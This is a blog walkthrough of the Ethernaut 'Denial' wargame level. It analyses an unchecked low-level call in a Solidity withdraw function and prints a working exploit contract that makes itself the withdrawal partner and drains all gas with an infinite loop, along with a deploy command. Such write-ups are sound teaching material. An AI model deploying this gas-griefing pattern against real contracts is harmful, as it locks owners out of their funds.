Ethernaut Level 20 - Denial

Ethernaut Level 20 - Denial

Analysis and solution for Ethernaut's Level 20 - Denial, with Solidity and Foundry

Aditya Dixit
·Sep 3, 2022·

3 min read

Subscribe to my newsletter and never miss my upcoming articles

Play this article

Objectives

This is a rather simple one and the objective is to prevent the owner from withdrawing the funds when they call the withdraw() function. Let's dive in.


Analysis

Let's take a look at the vulnerable code:

function setWithdrawPartner(address _partner) public {
    partner = _partner;
}

function withdraw() public {
    uint amountToSend = address(this).balance.div(100);
    // perform a call without checking return
    // The recipient can revert, the owner will still get their share
    partner.call{value:amountToSend}("");
    owner.transfer(amountToSend);
    // keep track of last withdrawal time
    timeLastWithdrawn = now;
    withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
  • The setWithdrawPartner() function is public and allows us to call it with our address so we can become a partner.

  • The withdraw() function is calculating the amount to send inside amountToSend and makes two external calls. One of the calls is made to the partner address which is controlled by us and the other one is made to the owner's address. These calls are transferring 1% Ether each to the owner and the partner. So the question is how can we prevent the owner from withdrawing?

An interesting fact about the call() function is that it forwards all the gas along with the call unless a gas value is specified in the call. The transfer() and send() only forwards 2300 gas.

The call() returns two values, a bool success showing if the call succeeded and a bytes memory data which contains the return value. It should be noted that the return values of the external calls are not checked anywhere.

To exploit the contract and prevent the owner.transfer(amountToSend) from being called, we need to create a contract with a fallback or receive function that drains all the gas and prevents further execution of the withdraw() function.


The Exploit

Here's how our exploit code looks:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "../instances/Ilevel20.sol";

contract DenialHack {
    Denial level20 = Denial(0x1bd442053Af3e571eBbe11809F3cd207A0466A45);

    constructor() public {
        level20.setWithdrawPartner(address(this));
    }

    receive() external payable {
        while (true) {}
    }
}

In the code shown above, we have created a constructor which is calling the setWithdrawPartner() to make the address of our deployed contract the partner.

A receive() function is also defined which has an infinite loop. This will help us in draining all the gas.

We will deploy the contract using:

forge create DenialHack --private-key $PKEY --rpc-url $RPC_URL

image.png

The instance can now be submitted to finish the level. The owner will try to call the withdraw() function but the execution will go to our receive() function and will drain all the gas leading to a failed transaction.

My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry

My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - blog.dixitaditya.com/getting-started-with-e..


Takeaways

Always check the return value of low-level calls, especially in cases where the called address is controlled by a third party.

 
Share this